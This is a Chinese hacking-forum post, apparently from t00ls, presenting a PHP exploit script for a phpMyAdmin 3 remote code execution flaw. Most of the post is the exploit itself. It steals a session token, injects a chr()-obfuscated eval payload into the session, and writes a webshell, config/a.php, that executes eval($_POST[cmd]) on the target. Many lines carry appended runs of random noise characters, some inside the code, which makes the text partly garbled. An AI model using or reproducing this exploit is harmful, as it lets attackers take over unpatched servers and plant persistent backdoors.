最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
! U$ S0 n5 J8 O3 G( U. c- A" `! P
+ B5 T) _8 x7 Z4 Y- d V昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
! V! z+ _4 @% Q9 u: d0 |. ?9 e! {
5 V0 A4 H% _: j- b3 a U# I首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
, X: w9 x7 X$ H4 z一是session.auto_start = 1;
- Z9 S# }' O# Y; N二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。8 n W; B9 a; F/ O+ b% h
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。, |3 u) {/ A- H7 l0 T2 P, Y
3 v% y9 Y f4 S, b6 U: F7 f在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。 K( M+ ]& j9 ]
& u" e3 F `8 `6 S! T+ h8 q; n0 ]# F
于是写了这个php版本的exp,代码如下:, i3 U: u; r, P) c8 u
( ?1 q7 f# N. m#!/usr/bin/php5 F) ~; d# E8 l( L- q( N
<?php# C4 a8 J `' @1 Q x3 Q
print_r('
$ _9 r7 p% k& j+---------------------------------------------------------------------------+
! l+ _0 g: z) O2 V$ a+ r D9 W: zpma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
% g* h8 i6 Y: Z% @7 b( \( Jby oldjun(www.oldjun.com)# g- U& r5 ?% N, y
welcome to www.t00ls.net
2 z9 e. r- r" C2 h7 j! Hmail: oldjun@gmail.com
" B$ |# q$ Q4 [4 A* kAssigned CVE id: CVE-2011-25059 ~! ~1 I5 ^& Z
+---------------------------------------------------------------------------+
9 [; q8 _# h% |% u0 b5 d, T');
! J: o' e7 c" I0 u: x0 P s, O! n: V
/**
: m+ d h- v9 p2 b3 B4 F * working when the directory:"config" exists and is writeable.4 C% @0 O o3 n4 N
**/
& y1 a& n+ q. y( P6 F8 Q# e 5 S2 }+ A, W8 j! f1 E2 P1 P/ s
if ($argc < 3) {
; h2 m( z7 f0 X6 ~3 K! P1 R3 T print_r('1 S7 d) ^* L/ b/ N$ X5 ^
+---------------------------------------------------------------------------+
! F) F& ]: ]2 @, A- J/ NUsage: php '.$argv[0].' host path
7 W' T: H5 w' K, Uhost: target server (ip/hostname)6 a3 w, t; Q/ W$ F! q) x$ ^" @7 E [8 J
path: path to pma3
0 V: H; C, U/ h* O- Q" o* \5 t9 gExample:! H0 x: I0 I+ I6 }3 F" H, V
php '.$argv[0].' localhost /pma/1 t, G/ t) ~ \4 ~6 }
+---------------------------------------------------------------------------+
5 h+ Z0 u7 R" I p');9 J h9 X# d `! o) k: }5 a! i% M
exit;
/ r0 d& t; \) c+ ?}9 `: t0 k9 n! |/ v/ ?: M
3 n$ A4 t/ N" q( y- u* ]$host = $argv[1];2 g. n4 L( d( E3 }
$path = $argv[2];
, s' w U- f3 I7 s; i! z4 C# j; ^* k6 v* |! @
/**
2 i: |% K: R4 l9 P; N * Try to determine if the directory:"config" exists5 J3 t8 p9 m1 E% x
**/( r$ k* i/ \/ L% d; z! [
echo "[+] Try to determine if the directory:config exists....\n";
. r+ \# H4 C/ q/ @$ n$returnstr=php_request('config/');" l( W* [" s. q1 p6 Z
if(strpos($returnstr,'404')){
) U% \3 F0 o! h g0 {8 V! q exit("[-] Exploit Failed! The directory:config do not exists!\n");
2 [. w3 g1 V/ K* g}9 [! B. M& R3 P9 _
$ P% U* R( J% f$ _8 I/**
2 p) Y1 V4 V2 b. Q9 e * Try to get token and sessionid6 T# W: d2 C. R4 k! y3 X
**/
% |: y' n, t/ u1 L6 o9 `" Mecho "[+] Try to get token and sessionid....\n";* S' }7 G1 v- ?' `
$result=php_request('index.php');1 d* K6 m) m4 R
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
4 M- v d: @! k) R% G7 S$token=$resp[3];; Z$ R9 @. A, A5 ~ P5 B$ r
$sessionid=$resp[1];
; y/ S9 [1 S& g: |6 F$ V, |if($token && $sessionid){
9 u6 o/ k. g. J5 u! J6 T8 P echo "[+] token token\n";
, o2 D" B+ ]5 m1 b echo "[+] Session ID sessionid\n";- S8 m' o* U( Q7 d
}else{! i) C# p9 L. r: l/ e7 a
exit("[-] Can't get token and Session ID,Exploit Failed!\n");- X- `1 k* U0 U8 o
}
& P& q( @5 u" m0 p: z F9 N
+ @9 u* s( C* {2 h1 m, c# i5 w/**6 ~+ [+ x/ ?/ B3 B: D( Z( i) ~' V
* Try to insert shell into session2 R8 {9 W7 z% R# m/ Z
**/
' I$ L7 R7 ?3 E5 |echo "[+] Try to insert shell into session....\n";1 |0 a+ b3 n! P/ O
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
- s) o; H5 Z! [) l: {7 P2 f7 P6 T
7 j, W& {+ o" }! e; K9 X, E/**0 O6 t' D6 }9 }: j! c) Y; H
* Try to create webshell6 Q5 T$ m! W9 A4 x, M
**/
) N6 g& l& I2 a$ Z9 |% jecho "[+] Try to create webshell....\n";# v x& Q; K. K! V
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
8 j6 N% g2 ]9 q/**
" H' z" U- r7 P9 [$ K/ R * Try to check if the webshell was created successfully k8 E- O ^' a$ P' W: i. v, T- V( k! H
**/% y2 W9 m% r! C) T
echo "[+] Try to check if the webshell was created successfully....\n";6 K/ z+ Y) T6 v! G. j
$content=php_request('config/config.inc.php');5 u. _8 j8 i8 |8 r' M2 t9 Y, S
if(strpos($content,'t00ls')){
$ B( E# ?+ [2 }" R echo "[+] Congratulations! Expoilt successfully....\n";0 f' n* Y( s' R M
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
' \" ]( P' w+ W4 }}else{
- r; ?; \2 X8 L( p7 U* N: c exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");1 g0 a ?9 }1 }6 M- g
}4 r* s; W4 m" X, X d) S
+ _) }( Q; U. E) v. k' j/ C* Zfunction php_request($url,$data='',$cookie=''){
9 u, }0 e) @) v global $host, $path;$ U% w. t) W. Y5 q. g
: m+ a$ o& G, `- U3 }& r* a
$method=$data?'POST':'GET';9 _/ z& b0 k/ u, o
1 h( ?6 v! v6 m z7 _# F $packet = $method." ".$path.$url." HTTP/1.1\r\n";
# K" N9 p" v0 f' D $packet .= "Accept: */*\r\n";
# q( K+ A: q1 Z# i8 g& ~9 V2 K $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; G) ]. e" }, E: O( ^
$packet .= "Host: $host\r\n";
* J* N+ h5 V& o2 h% x/ `% P $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
% g* r+ E4 t3 H( Y $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
3 A/ o5 I* U. z' q& Q$ _5 H& u $packet .= $cookie?"Cookie: $cookie\r\n":"";' }& K1 r% O1 ]) ^# O
$packet .= "Connection: Close\r\n\r\n";
0 `, Y6 o; w7 d4 M' q) d9 o $packet .= $data?$data:"";
' X1 h K' p: [- U. g4 x$ J3 O K% S! }4 F3 q, ^
$fp = fsockopen(gethostbyname($host), 80);
) S: M, |- B& @+ ^4 L if (!$fp) {& f4 e3 {3 I6 C8 e W& p/ E% V" r
echo 'No response from '.$host; die;% R# C3 `2 h# m B7 y \; d
}- E7 G# g, t) ?" w2 ~" i
fputs($fp, $packet);% q9 l2 x$ v+ c3 f9 A* V7 }
( Q" I; P" V) f6 K1 ^, j' b $resp = '';; B& ]6 }4 [5 n5 m
6 f! R9 `; k. y2 p# o1 T while ($fp && !feof($fp))2 b- V3 ~3 z5 g8 E+ j0 }; n6 Y- p
$resp .= fread($fp, 1024);% w9 d% Q; U s% h7 M+ w
9 K N4 C# [; a4 ?* B5 v) \
return $resp;
& q3 U5 R& Z8 W. D a( {2 l}
. ]& }, k2 e3 b1 b ; L' h0 h. G* E# B) T
?> # `4 _ _- K5 c7 @9 Y# P
. |